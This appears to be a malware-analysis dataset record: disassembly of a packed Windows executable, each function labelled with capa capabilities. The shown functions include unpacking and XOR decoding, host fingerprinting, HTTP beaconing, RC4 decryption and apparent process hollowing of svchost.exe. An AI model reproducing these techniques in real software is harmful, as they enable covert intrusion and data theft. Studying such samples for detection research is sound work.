joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0

Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x6b7449f3
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x5b1e6f41
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x438c9b
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x438a14
dec eax
call fcn.00438cc3
mov eax, eax
push edi
pop edi
xor dword [ebx], edx
mov edi, eax
inc edi
inc ebx
dec edi
push eax
pop eax
cmp ebx, esi
jne fcn.00438c9b
mov eax, 0x8b038524
mov edi, edi
mov edi, edi
ret
Function at 0x405b57
Capabilities:
Resolve function by parsing pe exports

Disassembly:
ror edi, 0xd
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408833
add ecx, dword [ebx + 0x3c]
sub al, 0x20
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405b53
pushal
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4087e7
pop ecx
clc
cld
nop
nop
jae 0x40620c
add byte [edx - 0x51], bl
add ah, cl
add byte [edi - 0x6a2f4200], dl
aad 0x55
mov ebp, esp
fiadd dword [eax]
mov byte [0x3d340000], al
adc eax, dword [edx + 0xe000]
push es
mov al, byte [0x8ec00]
lds ecx, [edx]
mov ecx, 0xa2b870f
add byte [eax], al
clc
cld
nop
nop
jae 0x405c5d
inc ebx
lds esi, [edi - 0x76ff2a87]
das
jl 0x405b53
clc
cld
nop
nop
jae 0x40734c
int3
push ebx
clc
cld
nop
nop
jae 0x407b5c
mov esi, 0xd4b7fa
add dl, dl
mov bh, 0x62
sahf
sti
cmp ebp, dword [0xfcf2f89b]
add edi, eax
clc
cld
Function at 0x4074cd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
ror edi, 0xd
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408833
add ecx, dword [ebx + 0x3c]
sub al, 0x20
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405b53
pushal
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4087e7
pop ecx
clc
cld
nop
nop
jae 0x40620c
add byte [edx - 0x51], bl
add ah, cl
add byte [edi - 0x6a2f4200], dl
aad 0x55
mov ebp, esp
fiadd dword [eax]
mov byte [0x3d340000], al
adc eax, dword [edx + 0xe000]
push es
mov al, byte [0x8ec00]
lds ecx, [edx]
mov ecx, 0xa2b870f
add byte [eax], al
clc
cld
nop
nop
jae 0x405c5d
inc ebx
lds esi, [edi - 0x76ff2a87]
das
jl 0x405b53
clc
cld
nop
nop
jae 0x40734c
int3
push ebx
clc
cld
nop
nop
jae 0x407b5c
mov esi, 0xd4b7fa
add dl, dl
mov bh, 0x62
sahf
sti
cmp ebp, dword [0xfcf2f89b]
add edi, eax
clc
cld
Function at 0x40e134
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
nop
cld
jmp 0x40ec1b

Function at 0x40f481
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov ecx, ebx
stc
nop
jb 0x40dfb6
test eax, 0x35a2c300
sbb cl, ch
add ecx, dword [ecx + 0x3c]
pushal
stc
nop
jb 0x40d698
leave
sbb byte [eax], al
add byte [eax], al
add byte [edx - 0x40a8af52], ah
int1
stc
inc eax
add byte [edi - 0x63cdbc4], al
add byte [esi + 0x558c00a0], ch
mov ebp, esp
fiadd dword [eax + eax - 0x33]
invalid
Function at 0x402fb6
Capabilities:
Create pipe
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1004
call fcn.0040a6c0
mov eax, dword [0x2451e6c]
mov ecx, dword [0x24518fc]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x403094
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov ebx, ecx
mov dword [esp + 0xc], eax
cmp dword [0x2451e6c], 0x959
jne 0x403081
push esi
lea eax, [esp + 0x814]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402c04
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
push esi
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
lea eax, [esp + 0x414]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call fcn.00402d97
add ebx, 8
dec dword [esp + 0xc]
jne 0x402fed
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40716b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x439a90]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004053d9
and dword [ebp - 0x14], 0
cmp dword [0x43f438], 0
mov dword [ebp - 0x18], eax
jne 0x40721e
push 0x402254
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4072c6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402248
push ebx
call edi
test eax, eax
je 0x4072c6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402238
push ebx
mov dword [0x43f438], eax
call edi
push eax
call esi
push 0x402224
push ebx
mov dword [0x43f43c], eax
call edi
push eax
call esi
push 0x402208
push ebx
mov dword [0x43f440], eax
call edi
push eax
call esi
mov dword [0x43f448], eax
test eax, eax
je 0x40721e
push 0x4021f0
push ebx
call edi
push eax
call esi
mov dword [0x43f444], eax
mov eax, dword [0x43f444]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407277
cmp dword [0x43f448], ecx
je 0x407277
push eax
call esi
push dword [0x43f448]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407277
test ebx, ebx
je 0x407277
call edi
test eax, eax
je 0x40726e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40726e
test byte [ebp - 8], 1
jne 0x407277
or dword [ebp + 0x10], 0x200000
jmp 0x4072aa
mov eax, dword [0x43f43c]
cmp eax, dword [ebp - 0x18]
je 0x4072aa
push eax
call esi
test eax, eax
je 0x4072aa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4072aa
mov eax, dword [0x43f440]
cmp eax, dword [ebp - 0x18]
je 0x4072aa
push eax
call esi
test eax, eax
je 0x4072aa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43f438]
call esi
test eax, eax
je 0x4072c6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4072c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004074d6
leave
ret

Function at 0x4074d6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x439a90]
jne 0x4074e0
repz ret
jmp fcn.00409784
Function at 0x4014c0
Capabilities:
Encode data using xor
Get common file path
Get disk information
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0x8000
push 0x8000
movlpd qword [ebp - 8], xmm0
call fcn.004011c0
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], ebx
mov esi, ebx
push eax
push ebx
push 0
push 0
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
test eax, eax
jne 0x40153f
test ebx, ebx
je 0x40153f
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
lea ecx, [ecx]
push 8
lea eax, [ebp - 8]
push 0
push eax
call fcn.00401270
push dword [esi + 0x34]
lea eax, [esi + 0x2c]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00401240
xor ebx, dword [ebp - 8]
add esp, 0x18
xor edi, dword [ebp - 4]
mov esi, dword [esi + 8]
test esi, esi
jne 0x401510
jmp 0x401545
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.004011f0
add esp, 4
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40159e
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov byte [ebp - 0x111], 0
push eax
push 0
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x40159e
mov edx, dword [ebp - 0xc]
xor eax, eax
xor eax, ebx
xor edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
xor edx, edx
xor eax, ebx
xor edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4015b0
Capabilities:
Compress data via winapi
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
push ebx
call fcn.004011c0
mov edx, dword [ebp + 0xc]
mov ecx, 8
mov esi, dword [ebp + 8]
add esp, 4
mov edi, eax
cmp edx, ecx
jbe 0x4015e4
mov eax, ecx
and eax, 7
mov al, byte [eax + esi]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edx
jb 0x4015d4
lea eax, [ebp - 4]
push eax
lea eax, [edx - 8]
push eax
lea eax, [esi + 8]
push eax
push ebx
push edi
push 2
call dword [sym.imp.ntdll.dll_RtlDecompressBuffer]
mov ebx, eax
test ebx, ebx
jne 0x40160d
push dword [ebp - 4]
push edi
push esi
call fcn.00401240
add esp, 0xc
push edi
call fcn.004011f0
add esp, 4
xor eax, eax
test ebx, ebx
cmove eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401750
Capabilities:
Check http status code
Connect to http server
Create http request
Parse url
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push 0x3c
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.00401270
add esp, 0xc
mov dword [ebp - 0x50], 0x3c
lea eax, [ebp - 0x154]
mov dword [ebp - 0x3c], 0x104
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push dword [ebp + 8]
mov dword [ebp - 0x20], 0x104
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x4017ab
xor eax, eax
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x4017bc
mov eax, 3
mov dword [ebp - 0x44], eax
jmp 0x4017c6
cmp eax, 3
je 0x4017c6
cmp eax, 4
jne 0x4017a5
mov ecx, dword [0x407170]
test ecx, ecx
jne 0x4017ee
push ecx
push ecx
push ecx
push ecx
push str.Mozilla_5.0__Windows_NT_6.1__Win64__x64__Trident_7.0__rv:11.0__like_Gecko
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [0x407170], ecx
test ecx, ecx
je 0x4017a5
mov eax, dword [ebp - 0x44]
push esi
push 1
push 0
push 3
push 0
push 0
push dword [ebp - 0x38]
cmp eax, 4
mov edx, 0x84883100
lea eax, [ebp - 0x154]
mov esi, 0x84080100
push eax
push ecx
cmove esi, edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40184f
push 1
push esi
push 0x407050
push 0
push 0
lea ecx, [ebp - 0x258]
push ecx
push 0x4041f8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x401856
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x44], 4
jne 0x40188a
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 4
push eax
lea eax, [ebp - 4]
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or dword [ebp - 4], 0x1100
lea eax, [ebp - 4]
push 4
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 0
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], 4
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 8], 0xc8
jne 0x401914
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x401913
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [eax], 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
jne 0x401912
lea ecx, [ecx]
mov eax, dword [ebp - 4]
test eax, eax
je 0x401912
mov ecx, dword [ebp + 0x14]
add edi, eax
sub ebx, eax
add dword [ecx], eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x4018f0
pop ebx
pop edi
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp - 8], 0xc8
pop esi
sete al
mov esp, ebp
pop ebp
ret
Function at 0x401c40
Capabilities:
Check http status code
Connect to http server
Create http request
Parse url
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
push 0x3c
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.00401270
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x154]
add esp, 0xc
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 0x50], 0x3c
mov dword [ebp - 0x3c], 0x104
xor ebx, ebx
mov dword [ebp - 0x24], eax
push 0x407018
mov dword [ebp - 0x20], 0x104
call esi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
test edi, edi
je 0x401ca1
push edi
call esi
mov ebx, eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
je 0x401d61
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x401ccb
mov eax, 3
mov dword [ebp - 0x44], eax
jmp 0x401cd9
cmp eax, 3
je 0x401cd9
cmp eax, 4
jne 0x401d61
mov ecx, dword [0x407170]
test ecx, ecx
jne 0x401d01
push ecx
push ecx
push ecx
push ecx
push str.Mozilla_5.0__Windows_NT_6.1__Win64__x64__Trident_7.0__rv:11.0__like_Gecko
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [0x407170], ecx
test ecx, ecx
je 0x401d61
mov eax, dword [ebp - 0x44]
push 0
push 0
push 3
push 0
push 0
push dword [ebp - 0x38]
cmp eax, 4
mov edx, 0x84883100
lea eax, [ebp - 0x154]
mov esi, 0x84080100
push eax
push ecx
cmove esi, edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 8], eax
test eax, eax
je 0x401d61
push 0
push esi
push 0x407048
push 0
push 0
lea ecx, [ebp - 0x258]
push ecx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x401d6a
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x44], 4
jne 0x401d9e
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 4
push eax
lea eax, [ebp + 0xc]
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or dword [ebp + 0xc], 0x1100
lea eax, [ebp + 0xc]
push 4
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push ebx
push edi
push dword [ebp - 0xc]
push 0x407018
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 4
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 4], 0xc8
jne 0x401e0a
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x401e0a
mov eax, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x18]
dec eax
push ebx
push eax
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401e04
mov eax, dword [ebx]
test eax, eax
je 0x401e04
mov byte [eax + edi], 0
jmp 0x401e0a
mov dword [ebx], 0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 8]
call esi
xor eax, eax
cmp dword [ebp - 4], 0xc8
pop edi
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call section..text
add esp, 8
xor ecx, ecx
test eax, eax
je 0x401e99
cmp eax, 0x20
jb 0x401e8a
movdqa xmm1, xmmword [str.zzzzzzzzzzzzzzzzexplorer.exe]
mov edx, eax
push edi
and edx, 0x1f
mov edi, eax
sub edi, edx
lea edx, [esi + 0x10]
movdqu xmm0, xmmword [edx - 0x10]
add ecx, 0x20
lea edx, [edx + 0x20]
pxor xmm0, xmm1
movdqu xmmword [edx - 0x30], xmm0
movdqu xmm0, xmmword [edx - 0x20]
pxor xmm0, xmm1
movdqu xmmword [edx - 0x20], xmm0
cmp ecx, edi
jb 0x401e63
pop edi
cmp ecx, eax
jae 0x401e99
mov edi, edi
xor byte [ecx + esi], 0x7a
inc ecx
cmp ecx, eax
jb 0x401e90
mov byte [eax + esi], 0
inc eax
pop esi
pop ebp
ret

Function at 0x402170
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
or ebx, 0xffffffff
cmp byte [esi], 0x4d
jne 0x40220c
cmp byte [esi + 1], 0x5a
jne 0x40220c
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
call fcn.00402220
add esp, 8
test eax, eax
jne 0x4021aa
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push esi
push edi
call fcn.00402760
mov esi, dword [ebp - 4]
add esp, 0x14
cmp eax, 1
jne 0x4021ee
push dword [ebp - 8]
push dword [ebp - 0xc]
push esi
push edi
call fcn.00402ad0
add esp, 0x10
cmp eax, 1
jne 0x4021ee
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4021f7
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402220
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push 0x44
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00401270
add esp, 0xc
mov dword [ebp - 0x54], 0x44
lea eax, [ebp - 0x158]
push 0x104
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.System32_svchost.exe
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0x424
push 0
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402297
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4022b0
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000000
push 1
xor esi, esi
mov dword [ebp - 8], 0
push esi
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x402349
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x8004
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x402349
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x402349
lea eax, [ebp - 8]
push eax
push 0x280011
push dword [ebp - 4]
push 0x6801
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x402349
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push esi
push 1
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
cmovne esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40235e
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
test eax, eax
je 0x402373
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x402383
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402410
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.00401210
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x40243d
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push ebx
shr eax, 2
xor ebx, ebx
mov dword [ebp - 8], eax
push esi
push edi
test eax, eax
je 0x4024ed
jmp 0x402460
push dword [ebp + ebx*4 - 0x1210]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4024e3
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edi
call sub.PSAPI.DLL_GetProcessImageFileNameA
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4024e3
xor edx, edx
xor eax, eax
test esi, esi
je 0x4024e3
mov cl, byte [ebp + eax - 0x10c]
cmp cl, 0x5c
jne 0x4024b4
lea edx, [ebp + eax - 0x10b]
test cl, cl
je 0x4024bd
inc eax
cmp eax, esi
jb 0x4024a1
test edx, edx
je 0x4024e3
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4024f7
inc ebx
cmp ebx, dword [ebp - 8]
jb 0x402460
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + ebx*4 - 0x1210]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret